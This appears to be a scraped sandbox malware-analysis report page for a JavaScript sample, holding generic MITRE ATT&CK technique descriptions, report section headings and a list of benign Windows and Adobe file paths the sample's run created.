Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 22736232701915520651.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ba17f2b-19ef-4cc3-9075-1cf81842380f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
22736232701915520651.js